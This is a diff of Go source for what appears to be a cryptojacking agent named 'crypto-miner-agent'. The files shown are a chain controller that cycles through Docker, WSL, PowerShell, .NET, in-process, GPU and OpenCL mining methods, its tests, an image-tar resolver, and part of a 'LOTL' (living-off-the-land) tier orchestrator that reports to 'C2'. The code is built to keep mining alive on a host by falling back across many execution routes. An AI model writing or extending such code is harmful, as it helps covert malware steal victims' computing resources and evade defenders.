c.SetPrimaryActive(method)
|
||||
c.runLOTLProbes(hooks)
|
||||
c.tryGPUAddon(ctx, hooks)
|
||||
c.tryPyOpenCLAddon(ctx, hooks)
|
||||
c.runLOTLChain(hooks)
|
||||
return method, nil
|
||||
}
|
||||
|
||||
c.mu.Lock()
|
||||
c.chainExhausted = true
|
||||
c.lastError = "all primary mining methods failed"
|
||||
if lastErr != nil {
|
||||
c.lastError = lastErr.Error()
|
||||
}
|
||||
status := c.buildStatus()
|
||||
report := c.report
|
||||
c.mu.Unlock()
|
||||
if report != nil {
|
||||
report(status, "mining_status")
|
||||
}
|
||||
if lastErr != nil {
|
||||
return "", lastErr
|
||||
}
|
||||
return "", ErrChainExhausted
|
||||
}
|
||||
|
||||
func (c *ChainController) tryStartPrimary(method MiningMethod, hooks ChainHooks) error {
|
||||
switch method {
|
||||
case MethodDockerLoad:
|
||||
if hooks.StartDockerLoad == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartDockerLoad()
|
||||
case MethodContainer:
|
||||
if hooks.StartContainer == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartContainer()
|
||||
case MethodWSL:
|
||||
if hooks.StartWSL == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartWSL()
|
||||
case MethodInProcess:
|
||||
if hooks.StartInProcess == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartInProcess()
|
||||
case MethodPowerShell:
|
||||
if hooks.StartPowerShell == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartPowerShell()
|
||||
case MethodDotnet:
|
||||
if hooks.StartDotnet == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartDotnet()
|
||||
default:
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
}
|
||||
|
||||
func (c *ChainController) stopPrimaryMethod(method MiningMethod, hooks ChainHooks) {
|
||||
switch method {
|
||||
case MethodDockerLoad:
|
||||
if hooks.StopDockerLoad != nil {
|
||||
hooks.StopDockerLoad()
|
||||
}
|
||||
case MethodContainer:
|
||||
if hooks.StopContainer != nil {
|
||||
hooks.StopContainer()
|
||||
}
|
||||
case MethodWSL:
|
||||
if hooks.StopWSL != nil {
|
||||
hooks.StopWSL()
|
||||
}
|
||||
case MethodInProcess:
|
||||
if hooks.StopInProcess != nil {
|
||||
hooks.StopInProcess()
|
||||
}
|
||||
case MethodPowerShell:
|
||||
if hooks.StopPowerShell != nil {
|
||||
hooks.StopPowerShell()
|
||||
}
|
||||
case MethodDotnet:
|
||||
if hooks.StopDotnet != nil {
|
||||
hooks.StopDotnet()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *ChainController) runLOTLProbes(hooks ChainHooks) {
|
||||
if hooks.RunTierProbes == nil {
|
||||
return
|
||||
}
|
||||
rep := hooks.RunTierProbes()
|
||||
c.mu.Lock()
|
||||
c.lotlAttempts = rep.Attempts
|
||||
c.webGPUReady = rep.WebGPUReady
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *ChainController) runLOTLChain(hooks ChainHooks) {
|
||||
if hooks.RunTierChain == nil {
|
||||
return
|
||||
}
|
||||
tier, err := hooks.RunTierChain()
|
||||
c.mu.Lock()
|
||||
if tier != "" {
|
||||
c.lotlTier = tier
|
||||
}
|
||||
c.mu.Unlock()
|
||||
if err != nil && err != ErrTierChainSkipped {
|
||||
c.OnMethodFailed(MiningMethod(tier), err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
func (c *ChainController) tryPyOpenCLAddon(ctx context.Context, hooks ChainHooks) {
|
||||
if hooks.StartPyOpenCL == nil {
|
||||
return
|
||||
}
|
||||
hasTier := false
|
||||
for _, m := range c.chain {
|
||||
if m == MethodLinuxPyOpenCL {
|
||||
hasTier = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasTier {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
if err := hooks.StartPyOpenCL(); err != nil {
|
||||
c.OnMethodFailed(MethodLinuxPyOpenCL, err.Error())
|
||||
if hooks.StopPyOpenCL != nil {
|
||||
hooks.StopPyOpenCL()
|
||||
}
|
||||
return
|
||||
}
|
||||
log.Printf("[mining-chain] linux_pyopencl tier active (OpenCL probe OK)")
|
||||
}
|
||||
|
||||
func (c *ChainController) tryGPUAddon(ctx context.Context, hooks ChainHooks) {
|
||||
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
|
||||
return
|
||||
}
|
||||
// WebView2 probe gates gpu_subprocess unless WebGPU was exposed or gpu_compute succeeded.
|
||||
if hooks.WebGPUReady != nil && !hooks.WebGPUReady() {
|
||||
if hooks.GPUComputeReady == nil || !hooks.GPUComputeReady() {
|
||||
c.OnMethodFailed(MethodGPUSubprocess, "webview2_probe: WebGPU not available — skipping gpu_subprocess escalation")
|
||||
return
|
||||
}
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
if err := hooks.StartGPU(); err != nil {
|
||||
c.OnMethodFailed(MethodGPUSubprocess, err.Error())
|
||||
if hooks.StopGPU != nil {
|
||||
hooks.StopGPU()
|
||||
}
|
||||
c.SetGPUActive(false)
|
||||
return
|
||||
}
|
||||
c.SetGPUActive(true)
|
||||
}
|
||||
|
||||
// AdvancePrimary moves to the next CPU method after runtime failure.
|
||||
func (c *ChainController) AdvancePrimary(reason string) {
|
||||
c.mu.Lock()
|
||||
if c.paused {
|
||||
c.mu.Unlock()
|
||||
return
|
||||
}
|
||||
failed := c.activePrimary
|
||||
hooks := c.hooks
|
||||
primary := primaryMethods(c.chain)
|
||||
idx := 0
|
||||
for i, m := range primary {
|
||||
if m == failed {
|
||||
idx = i + 1
|
||||
break
|
||||
}
|
||||
}
|
||||
c.mu.Unlock()
|
||||
|
||||
if failed != "" {
|
||||
c.OnMethodFailed(failed, reason)
|
||||
c.stopPrimaryMethod(failed, hooks)
|
||||
}
|
||||
|
||||
for idx < len(primary) {
|
||||
method := primary[idx]
|
||||
if err := c.tryStartPrimary(method, hooks); err != nil {
|
||||
c.OnMethodFailed(method, err.Error())
|
||||
c.stopPrimaryMethod(method, hooks)
|
||||
idx++
|
||||
continue
|
||||
}
|
||||
c.SetPrimaryActive(method)
|
||||
return
|
||||
}
|
||||
|
||||
c.mu.Lock()
|
||||
c.chainExhausted = true
|
||||
c.activePrimary = ""
|
||||
c.lastError = "primary chain exhausted after " + string(failed) + " failure"
|
||||
status := c.buildStatus()
|
||||
report := c.report
|
||||
c.mu.Unlock()
|
||||
if report != nil {
|
||||
report(status, "mining_status")
|
||||
}
|
||||
}
|
||||
|
||||
// RestartChain resets failures and re-runs the full primary chain (respects cooldown).
|
||||
func (c *ChainController) RestartChain(ctx context.Context) {
|
||||
c.mu.Lock()
|
||||
c.failures = nil
|
||||
c.lastError = ""
|
||||
c.chainExhausted = false
|
||||
c.activePrimary = ""
|
||||
c.primaryIdx = 0
|
||||
c.lastFullPass = time.Time{}
|
||||
c.mu.Unlock()
|
||||
_, _ = c.TryChain(ctx)
|
||||
}
|
||||
|
||||
// StopAll pauses cascade and stops every running method.
|
||||
func (c *ChainController) StopAll() {
|
||||
c.mu.Lock()
|
||||
c.paused = true
|
||||
hooks := c.hooks
|
||||
c.mu.Unlock()
|
||||
|
||||
if hooks.StopDockerLoad != nil {
|
||||
hooks.StopDockerLoad()
|
||||
}
|
||||
if hooks.StopContainer != nil {
|
||||
hooks.StopContainer()
|
||||
}
|
||||
if hooks.StopWSL != nil {
|
||||
hooks.StopWSL()
|
||||
}
|
||||
if hooks.StopPowerShell != nil {
|
||||
hooks.StopPowerShell()
|
||||
}
|
||||
if hooks.StopDotnet != nil {
|
||||
hooks.StopDotnet()
|
||||
}
|
||||
if hooks.StopInProcess != nil {
|
||||
hooks.StopInProcess()
|
||||
}
|
||||
if hooks.StopGPU != nil {
|
||||
hooks.StopGPU()
|
||||
}
|
||||
if hooks.StopPyOpenCL != nil {
|
||||
hooks.StopPyOpenCL()
|
||||
}
|
||||
if hooks.StopTiers != nil {
|
||||
hooks.StopTiers()
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.activePrimary = ""
|
||||
c.gpuActive = false
|
||||
c.lotlTier = ""
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// ResumeAll clears pause and restarts the chain.
|
||||
func (c *ChainController) ResumeAll(ctx context.Context) {
|
||||
c.mu.Lock()
|
||||
c.paused = false
|
||||
c.mu.Unlock()
|
||||
c.RestartChain(ctx)
|
||||
}
|
||||
|
||||
// Monitor watches container health and advances the chain on exit.
|
||||
func (c *ChainController) Monitor(ctx context.Context) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
c.mu.RLock()
|
||||
paused := c.paused
|
||||
primary := c.activePrimary
|
||||
hooks := c.hooks
|
||||
c.mu.RUnlock()
|
||||
if paused {
|
||||
continue
|
||||
}
|
||||
healthy := true
|
||||
reason := ""
|
||||
switch primary {
|
||||
case MethodDockerLoad:
|
||||
if hooks.IsDockerLoadHealthy != nil {
|
||||
healthy = hooks.IsDockerLoadHealthy()
|
||||
reason = "docker_load workload exited or unhealthy"
|
||||
}
|
||||
case MethodContainer:
|
||||
if hooks.IsContainerHealthy != nil {
|
||||
healthy = hooks.IsContainerHealthy()
|
||||
reason = "container workload exited or unhealthy"
|
||||
}
|
||||
case MethodWSL:
|
||||
if hooks.IsWSLHealthy != nil {
|
||||
healthy = hooks.IsWSLHealthy()
|
||||
reason = "wsl workload exited or unhealthy"
|
||||
}
|
||||
default:
|
||||
continue
|
||||
}
|
||||
if healthy {
|
||||
continue
|
||||
}
|
||||
c.AdvancePrimary(reason)
|
||||
}
|
||||
}
|
||||
}
|
||||
326
agent/miner/fallback_chain_test.go
Normal file
326
agent/miner/fallback_chain_test.go
Normal file
@@ -0,0 +1,326 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"runtime"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestDefaultFallbackChainAutoWithDocker(t *testing.T) {
|
||||
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer SetRuntimeDetector(nil)
|
||||
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||
defer SetWSLDetector(nil)
|
||||
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionAuto,
|
||||
PoolHost: "pool.example.com",
|
||||
},
|
||||
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||
|
||||
want := []MiningMethod{MethodContainer, MethodInProcess, MethodStratumDirect}
|
||||
if len(chain) < len(want) {
|
||||
t.Fatalf("chain=%v want at least %v", chain, want)
|
||||
}
|
||||
for i := range want {
|
||||
if chain[i] != want[i] {
|
||||
t.Fatalf("chain[%d]=%q want %q full=%v", i, chain[i], want[i], chain)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainAutoWithoutRuntime(t *testing.T) {
|
||||
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||
defer SetWSLDetector(nil)
|
||||
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
|
||||
}, ContainerRuntimeInfo{})
|
||||
|
||||
if chain[0] != MethodInProcess {
|
||||
t.Fatalf("got %v want inprocess first", chain)
|
||||
}
|
||||
// Windows LOTL probe tiers trail stratum_direct in the legacy chain.
|
||||
stratumIdx := -1
|
||||
for i, m := range chain {
|
||||
if m == MethodStratumDirect {
|
||||
stratumIdx = i
|
||||
}
|
||||
}
|
||||
if stratumIdx < 0 {
|
||||
t.Fatalf("got %v want stratum_direct present", chain)
|
||||
}
|
||||
if runtime.GOOS != "windows" && chain[len(chain)-1] != MethodStratumDirect {
|
||||
t.Fatalf("got %v want stratum last", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainInProcessSkipsContainer(t *testing.T) {
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionInProcess,
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
PoolHost: "p",
|
||||
},
|
||||
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||
|
||||
for _, m := range chain {
|
||||
if m == MethodContainer {
|
||||
t.Fatal("inprocess mode must skip container")
|
||||
}
|
||||
}
|
||||
if chain[0] != MethodInProcess {
|
||||
t.Fatalf("got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainGPUIncludedWhenConfigured(t *testing.T) {
|
||||
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||
defer SetWSLDetector(nil)
|
||||
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionAuto,
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
},
|
||||
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||
|
||||
foundGPU := false
|
||||
for _, m := range chain {
|
||||
if m == MethodGPUSubprocess {
|
||||
foundGPU = true
|
||||
}
|
||||
}
|
||||
if !foundGPU {
|
||||
t.Fatalf("expected gpu in chain, got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryChainOrderAndSkipMissingRuntime(t *testing.T) {
|
||||
var started []MiningMethod
|
||||
hooks := ChainHooks{
|
||||
StartContainer: func() error {
|
||||
started = append(started, MethodContainer)
|
||||
return errors.New("container start blocked")
|
||||
},
|
||||
StartInProcess: func() error {
|
||||
started = append(started, MethodInProcess)
|
||||
return nil
|
||||
},
|
||||
StartGPU: func() error { return nil },
|
||||
IsGPUSupported: func() bool { return false },
|
||||
}
|
||||
|
||||
ctrl := NewChainController(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionAuto,
|
||||
PoolHost: "p",
|
||||
},
|
||||
}, hooks, nil)
|
||||
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
ctrl.chain = DefaultFallbackChain(ctrl.cfg, ctrl.runtime)
|
||||
|
||||
method, err := ctrl.TryChain(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
if method != MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess", method)
|
||||
}
|
||||
if len(started) != 2 || started[0] != MethodContainer || started[1] != MethodInProcess {
|
||||
t.Fatalf("start order=%v", started)
|
||||
}
|
||||
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodContainer {
|
||||
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryChainExhausted(t *testing.T) {
|
||||
hooks := ChainHooks{
|
||||
StartContainer: func() error { return errors.New("no container") },
|
||||
StartInProcess: func() error { return errors.New("no inprocess") },
|
||||
}
|
||||
ctrl := NewChainController(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||
}, hooks, nil)
|
||||
ctrl.chain = []MiningMethod{MethodInProcess}
|
||||
|
||||
_, err := ctrl.TryChain(context.Background())
|
||||
if !errors.Is(err, ErrChainExhausted) && err.Error() != "no inprocess" {
|
||||
t.Fatalf("got err=%v", err)
|
||||
}
|
||||
if !ctrl.Status().ChainExhausted {
|
||||
t.Fatal("expected chain exhausted flag")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdvancePrimaryFromContainer(t *testing.T) {
|
||||
var inprocessStarted bool
|
||||
hooks := ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
inprocessStarted = true
|
||||
return nil
|
||||
},
|
||||
StopContainer: func() {},
|
||||
}
|
||||
ctrl := NewChainController(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
|
||||
}, hooks, nil)
|
||||
ctrl.chain = []MiningMethod{MethodContainer, MethodInProcess}
|
||||
ctrl.activePrimary = MethodContainer
|
||||
|
||||
ctrl.AdvancePrimary("container exited")
|
||||
if !inprocessStarted {
|
||||
t.Fatal("expected inprocess start after container failure")
|
||||
}
|
||||
if ctrl.Status().ActiveMethod != MethodInProcess {
|
||||
t.Fatalf("active=%q", ctrl.Status().ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultChainCooldownConstant(t *testing.T) {
|
||||
if DefaultChainCooldown != 30*time.Second {
|
||||
t.Fatalf("DefaultChainCooldown = %v want 30s", DefaultChainCooldown)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainForcedContainerWithoutRuntime(t *testing.T) {
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionContainer,
|
||||
PoolHost: "p",
|
||||
},
|
||||
}, ContainerRuntimeInfo{})
|
||||
|
||||
for _, m := range chain {
|
||||
if m == MethodContainer {
|
||||
t.Fatal("container mode without runtime must skip container method")
|
||||
}
|
||||
}
|
||||
if chain[0] != MethodInProcess {
|
||||
t.Fatalf("got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainDockerLoadBeforeContainer(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
|
||||
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
|
||||
return "/policy/worker.tar", nil
|
||||
})
|
||||
defer SetImageTarFetcher(nil)
|
||||
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer SetRuntimeDetector(nil)
|
||||
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||
defer SetWSLDetector(nil)
|
||||
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
|
||||
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||
|
||||
if chain[0] != MethodDockerLoad {
|
||||
t.Fatalf("chain=%v want docker_load first when tar policy set", chain)
|
||||
}
|
||||
if chain[1] != MethodContainer {
|
||||
t.Fatalf("chain=%v want container second", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryChainDockerLoadFailsReportsAttempt(t *testing.T) {
|
||||
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
|
||||
return "/tmp/worker.tar", nil
|
||||
})
|
||||
defer SetImageTarFetcher(nil)
|
||||
|
||||
var failed []MiningMethod
|
||||
ctrl := NewChainController(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
|
||||
}, ChainHooks{
|
||||
StartDockerLoad: func() error { failed = append(failed, MethodDockerLoad); return errors.New("docker missing") },
|
||||
StartInProcess: func() error { return nil },
|
||||
}, nil)
|
||||
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
ctrl.chain = []MiningMethod{MethodDockerLoad, MethodInProcess}
|
||||
|
||||
method, err := ctrl.TryChain(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
if method != MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess", method)
|
||||
}
|
||||
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodDockerLoad {
|
||||
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryChainRunTierHooksPopulatesLOTLFields(t *testing.T) {
|
||||
hooks := ChainHooks{
|
||||
StartInProcess: func() error { return nil },
|
||||
RunTierProbes: func() TierReport {
|
||||
return TierReport{
|
||||
Attempts: []TierAttempt{{
|
||||
Tier: TierWebView2Probe,
|
||||
OK: true,
|
||||
Wallet: "same-wallet",
|
||||
}},
|
||||
WebGPUReady: true,
|
||||
}
|
||||
},
|
||||
RunTierChain: func() (LOTLTier, error) {
|
||||
return TierCPUInprocess, nil
|
||||
},
|
||||
}
|
||||
ctrl := NewChainController(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||
}, hooks, nil)
|
||||
ctrl.chain = []MiningMethod{MethodInProcess}
|
||||
|
||||
if _, err := ctrl.TryChain(context.Background()); err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
st := ctrl.Status()
|
||||
if st.LOTLTier != TierCPUInprocess {
|
||||
t.Fatalf("lotl_tier=%q want cpu_inprocess", st.LOTLTier)
|
||||
}
|
||||
if len(st.LOTLAttempts) != 1 || st.LOTLAttempts[0].Tier != TierWebView2Probe {
|
||||
t.Fatalf("lotl_attempts=%v", st.LOTLAttempts)
|
||||
}
|
||||
if !st.WebGPUReady {
|
||||
t.Fatal("expected webgpu_ready from tier probes")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryChainRespectsCooldown(t *testing.T) {
|
||||
attempts := 0
|
||||
hooks := ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
attempts++
|
||||
return nil
|
||||
},
|
||||
}
|
||||
ctrl := NewChainController(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||
}, hooks, nil)
|
||||
ctrl.chain = []MiningMethod{MethodInProcess}
|
||||
|
||||
if _, err := ctrl.TryChain(context.Background()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := ctrl.TryChain(context.Background()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if attempts != 1 {
|
||||
t.Fatalf("attempts=%d want 1 (cooldown)", attempts)
|
||||
}
|
||||
}
|
||||
53
agent/miner/image_tar.go
Normal file
53
agent/miner/image_tar.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// ErrNoImageTar is returned when docker_load tier is selected but no tarball is available.
|
||||
var ErrNoImageTar = errors.New("no docker image tarball configured")
|
||||
|
||||
// imageTarFetcher resolves a worker OCI tarball from the server upload/channel stub.
|
||||
// Tests and integrations override via SetImageTarFetcher.
|
||||
var imageTarFetcher func(cfg config.RuntimeConfig) (string, error)
|
||||
|
||||
// SetImageTarFetcher restores the default when fn is nil.
|
||||
func SetImageTarFetcher(fn func(cfg config.RuntimeConfig) (string, error)) {
|
||||
imageTarFetcher = fn
|
||||
}
|
||||
|
||||
// HasImageTarPolicy reports whether server policy supplies a local tar for docker_load.
|
||||
func HasImageTarPolicy(cfg config.RuntimeConfig) bool {
|
||||
_, err := ResolveImageTar(cfg)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// ResolveImageTar returns a filesystem path to the worker image tar.
|
||||
// Priority: injected fetcher → AETHERFORGE_DOCKER_IMAGE_TAR env → cfg.DockerImageTar.
|
||||
func ResolveImageTar(cfg config.RuntimeConfig) (string, error) {
|
||||
if imageTarFetcher != nil {
|
||||
if p, err := imageTarFetcher(cfg); err == nil && strings.TrimSpace(p) != "" {
|
||||
return strings.TrimSpace(p), nil
|
||||
} else if err != nil && !errors.Is(err, ErrNoImageTar) {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_DOCKER_IMAGE_TAR")); p != "" {
|
||||
if _, err := os.Stat(p); err != nil {
|
||||
return "", fmt.Errorf("docker image tar: %w", err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
if p := strings.TrimSpace(cfg.DockerImageTar); p != "" {
|
||||
if _, err := os.Stat(p); err != nil {
|
||||
return "", fmt.Errorf("docker image tar: %w", err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
return "", ErrNoImageTar
|
||||
}
|
||||
37
agent/miner/image_tar_test.go
Normal file
37
agent/miner/image_tar_test.go
Normal file
@@ -0,0 +1,37 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestResolveImageTarFromEnv(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
tarPath := filepath.Join(dir, "worker.tar")
|
||||
if err := os.WriteFile(tarPath, []byte("fake-tar"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", tarPath)
|
||||
defer SetImageTarFetcher(nil)
|
||||
|
||||
got, err := ResolveImageTar(config.RuntimeConfig{})
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveImageTar: %v", err)
|
||||
}
|
||||
if got != tarPath {
|
||||
t.Fatalf("got %q want %q", got, tarPath)
|
||||
}
|
||||
if !HasImageTarPolicy(config.RuntimeConfig{}) {
|
||||
t.Fatal("HasImageTarPolicy should be true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveImageTarMissing(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
|
||||
if _, err := ResolveImageTar(config.RuntimeConfig{}); err == nil {
|
||||
t.Fatal("expected error without tar")
|
||||
}
|
||||
}
|
||||
448
agent/miner/lotl_orchestrator.go
Normal file
448
agent/miner/lotl_orchestrator.go
Normal file
@@ -0,0 +1,448 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring.
|
||||
ErrTierNotImplemented = errors.New("tier not implemented")
|
||||
// ErrTierChainExhausted is returned when every tier in the onion failed.
|
||||
ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")
|
||||
// ErrTierChainSkipped is returned when every tier gracefully skipped.
|
||||
ErrTierChainSkipped = errors.New("all LOTL tiers skipped")
|
||||
)
|
||||
|
||||
// TierHooks wires tier-specific start/stop without importing client.
|
||||
type TierHooks struct {
|
||||
StartDockerLoad func() error
|
||||
StartContainer func() error
|
||||
StartWSL func() error
|
||||
StartPowerShell func() error
|
||||
StartDotnet func() error
|
||||
StartInProcess func() error
|
||||
StartGPU func() error
|
||||
StopDockerLoad func()
|
||||
StopContainer func()
|
||||
StopWSL func()
|
||||
StopPowerShell func()
|
||||
StopDotnet func()
|
||||
StopInProcess func()
|
||||
StopGPU func()
|
||||
IsGPUSupported func() bool
|
||||
}
|
||||
|
||||
// TierEventReporter emits tier_report / mining_status events to C2.
|
||||
type TierEventReporter func(report TierReport, eventType string)
|
||||
|
||||
// TierOrchestrator runs the diagnostics-driven LOTL tier onion.
|
||||
type TierOrchestrator struct {
|
||||
mu sync.RWMutex
|
||||
cfg config.RuntimeConfig
|
||||
probes EnvironmentProbes
|
||||
policy MiningTierPolicy
|
||||
chain []LOTLTier
|
||||
skipped []LOTLTier
|
||||
hooks TierHooks
|
||||
report TierEventReporter
|
||||
wallet string
|
||||
activeTier LOTLTier
|
||||
gpuActive bool
|
||||
attempts []TierAttempt
|
||||
lastError string
|
||||
chainExhaust bool
|
||||
hashrate float64
|
||||
webGPUReady bool
|
||||
gpuComputeOK bool
|
||||
}
|
||||
|
||||
// NewTierOrchestrator builds an orchestrator from probes + server policy.
|
||||
func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator {
|
||||
chain, skipped := SelectMiningTierChain(probes, policy, cfg)
|
||||
return &TierOrchestrator{
|
||||
cfg: cfg,
|
||||
probes: probes,
|
||||
policy: policy,
|
||||
chain: chain,
|
||||
skipped: skipped,
|
||||
hooks: hooks,
|
||||
report: report,
|
||||
wallet: strings.TrimSpace(cfg.Wallet),
|
||||
}
|
||||
}
|
||||
|
||||
// Report returns the current tier snapshot.
|
||||
func (o *TierOrchestrator) Report() TierReport {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.buildReport()
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) buildReport() TierReport {
|
||||
attempts := make([]TierAttempt, len(o.attempts))
|
||||
copy(attempts, o.attempts)
|
||||
chain := make([]LOTLTier, len(o.chain))
|
||||
copy(chain, o.chain)
|
||||
skipped := make([]LOTLTier, len(o.skipped))
|
||||
copy(skipped, o.skipped)
|
||||
return TierReport{
|
||||
ActiveTier: o.activeTier,
|
||||
Attempts: attempts,
|
||||
MiningHashrate: o.hashrate,
|
||||
TierChainOrder: chain,
|
||||
TierChainSkipped: skipped,
|
||||
WebGPUReady: o.webGPUReady,
|
||||
GPUComputeOK: o.gpuComputeOK,
|
||||
}
|
||||
